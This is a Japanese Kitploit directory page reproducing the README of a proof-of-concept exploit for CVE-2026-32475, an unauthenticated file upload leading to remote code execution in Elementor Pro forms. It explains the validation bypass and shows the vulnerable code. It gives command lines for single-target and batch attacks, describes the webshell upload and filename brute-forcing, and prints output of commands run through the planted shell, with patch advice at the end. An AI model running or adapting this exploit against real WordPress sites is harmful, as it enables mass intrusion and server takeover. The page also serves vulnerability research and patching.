Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-32475 — CVE-2026-32475の概念実証エクスプロイト。Elementor Proにおける認証不要の任意ファイルアップロードにより、リモートコード実行に至ります。自動検出、アップロード、コマンド実行、およびクリーンアップ機能を含みます。 | Kitploit
ツール/GitHubGitHub/sahmsec/cve-2026-32475
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubsahmsec/cve-2026-32475

CVE-2026-32475

CVE-2026-32475の概念実証エクスプロイト。Elementor Proにおける認証不要の任意ファイルアップロードにより、リモートコード実行に至ります。自動検出、アップロード、コマンド実行、およびクリーンアップ機能を含みます。

リポジトリを見る
17時間36分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-32475 — Elementor Pro ≤ 4.2.1 認証なし任意ファイルアップロード → RCE

CVE-2026-32475(CVSS 9.0 Critical、CWE-434)のPoC:Elementor Pro Formsモジュールにおける認証なし任意ファイルアップロードにより、リモートコード実行に至ります。Elementor Pro 4.2.2(2026-08-19)で修正済み。Patchstack Bug Bountyプログラムを通じてTin Pham(TF1T)氏により報告されました。

root@kitploit:~
  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ 法的免責事項

この概念実証コードは、認可されたセキュリティ研究、教育、および防御的テストのみを目的として提供されています。

  • このツールを実行する前に、対象システムを所有しているか、システム所有者から明示的な書面による許可を得ている必要があります。
  • コンピュータシステムへの不正アクセスは、ほとんどの法域で違法であり(例:米国のComputer Fraud and Abuse Act、英国のComputer Misuse Act、および世界各国の類似法)、刑事罰および民事罰の対象となる可能性があります。
  • 著者および貢献者は、このコードの使用から生じるいかなる誤用、損害、または法的結果についても一切の責任を負いません。
  • 本ソフトウェアを使用することにより、責任を持って、適用されるすべての法律を遵守して使用することに同意したものとみなされます。

脆弱性の内容

Elementor Proフォームのファイルアップロードフィールドは、アップロードされたエントリを異なるセマンティクスを持つ2つの別々のループで処理します():

modules/forms/fields/upload.php
root@kitploit:~
// validation()
foreach ( $files[$id] as $index => $file ) {
    if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
        return;                    // <-- メソッド全体を中断
    }
    // is_file_type_valid() ...    // 2番目のエントリには到達しない
}

// process_field()
foreach ( $files[$id] as $index => $file ) {
    if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
        continue;                  // <-- このエントリのみスキップ
    }
    $filename = uniqid() . '.' . $file_extension;   // 攻撃者が制御する拡張子
    move_uploaded_file( $file['tmp_name'], $new_file );
}

同じアップロードフィールドに対して2つのファイルパーツを送信する — 空の最初のパーツ(filename="" → UPLOAD_ERR_NO_FILE)に続いて.phpペイロードを送信すると、validation()は拡張子ブロックリストがペイロードを確認する前に戻り、一方process_field()はそれをwp-content/uploads/elementor/forms/<uniqid()>.php(公開Webディレクトリ)に移動します。そのURLに直接リクエストすると = リモートコード実行となります。

アップロードはPOST /wp-admin/admin-ajax.php(action=elementor_pro_forms_send_form)で処理され、認証もnonceも不要です。post_id、form_id、アップロードフィールド名は公開ページのHTMLに表示されるため、攻撃全体が認証なしで実行可能です。

要件

ターゲット:

  • Elementor Pro ≤ 4.2.1(すべての旧バージョンが影響を受けます)
  • ファイルアップロードフィールドを含むフォームウィジェットを持つ公開ページが少なくとも1つ
  • アップロードフィールドが必須に設定されていないこと(デフォルト状態)
  • フォームにCAPTCHAがないこと(reCAPTCHA/turnstileは認証なしの送信をブロックします)
  • アップロードディレクトリでPHPが実行可能であること(ほとんどのApache/cPanelホスティングではデフォルト;一部の堅牢化されたnginx構成ではブロックされます)

攻撃者:

  • Python 3.9+(標準ライブラリのみ — 依存関係なし)
  • ターゲットへのネットワークアクセス

使用方法

単一ターゲット(サイトマップ/ホームページからフォームページを自動検出):

root@kitploit:~
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup

フォームページを明示指定:

root@kitploit:~
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup

バッチモード(sites.txt:1行に1サイト — base_urlまたはbase_url page_url):

root@kitploit:~
python script.py --list sites.txt --command "id" --cleanup --out results.json

JSONリスト形式:

root@kitploit:~
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]

アップロード済みシェルでコマンドを実行:

root@kitploit:~
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"

主要オプション

フラグデフォルト説明
--url-単一ターゲットのベースURL
--list-バッチモードのリストファイル
--page-url--urlフォームを含むページ
--commandid; hostname; uname -aシェルを通じて実行するコマンド
--cleanupオフテスト後にウェブシェルを自己削除
--field k=v-自動入力されたフォームフィールドを上書き(繰り返し指定可能)
--tail0.3推定アップロード時間前のファインスイープ開始までの秒数
--step-fine1ファインスイープのマイクロ秒ステップ
--full-secondオフuniqidの全秒をブルートフォース(クロックスキュー対策)
--attempts1アップロード+スイープの試行回数(毎回新しいランダムファイル名)
--max-probes600000試行あたりのスイープリクエスト予算
--workers50並列スイープスレッド数
--insecureオフTLSエラーを無視(自己署名ターゲット用)
--out file.json-レポートをJSONで書き出し

ツールの動作仕組み

  1. 検出 — ターゲットページを取得し(またはサイトマップとホームページリンクを最大20ページクロール)、ファイルアップロードフィールドを持つフォームを探します。
  2. スクレイピング — post_id、form_id、アップロードフィールド名、およびその他のすべてのフォームフィールドを抽出し、必須フィールドが検証を通過するようにすべてのフィールドに妥当な値を自動入力します(--fieldで上書き可能)。
  3. アップロード — 2パートのmultipart POSTをadmin-ajax.phpに送信します。注意:success:falseでerrorsオブジェクトが空の場合でもアップロード成功として扱われます。これは、デフォルトのEmailアクションがwp_mail()失敗時にファイル移動後に例外を発生させるためです。アップロードフィールド自体の拒否(file type is not allowed)のみがブロックとしてカウントされます。
  4. ファイル名の復元 — uniqid() = 8桁の16進秒 + 5桁の16進マイクロ秒。秒はレスポンスのDateヘッダーから取得し、秒未満の部分は(t1 - date_epoch) % 1から推定します(攻撃者とサーバーのクロックが近い場合に正確)。キープアライブプローバー(接続あたり1リクエストより約30倍高速)がマイクロ秒解像度で移動ウィンドウをスイープします。クロックスキューがある場合は--full-secondで全秒をブルートフォースします。
  5. 実行 — GET <shell>?c=<command>でコマンドを実行し、--cleanupで?x=1によりシェルを削除します。

結果ステータス

ステータス意味
vulnerableシェルがアップロードされコマンドが実行されました — 今すぐパッチ適用
blockedアップロードフィールドが拒否されました(4.2.2+で修正済み、必須フィールド、WAF、CAPTCHA)
uploaded_no_execファイルは配置されたがファイル名を復元できませんでした(--full-secondで再試行)
no_formターゲットに脆弱なフォームが見つかりませんでした
error接続/ネットワークエラー

ラボでの再現

docker-compose.yml + setup_form_page.phpで脆弱なターゲットを再現します:

root@kitploit:~
docker compose up -d
docker compose run --rm wpcli wp core install \
    --url=http://localhost:8090 --title="Lab" --skip-email \
    --admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# 合法的に入手したelementor-pro.zip(<= 4.2.1)をプロジェクトディレクトリに配置し、次に:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'

python script.py --url http://localhost:8090 --command "id; hostname" --cleanup

検証済み出力

root@kitploit:~
[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
    rm

参考情報

  • Patchstackアドバイザリ
  • NVDエントリ
  • Elementor Proチェンジログ(4.2.2)

修復策

Elementor Proを**4.2.2+**に更新してください。更新により穴は塞がりますが、既にアップロードされたシェルは削除されません — wp-content/uploads/elementor/forms/に残存する.phpファイルがないか監査してください。


認可されたセキュリティ研究およびラボ使用のみを目的としています。

ツールをダウンロード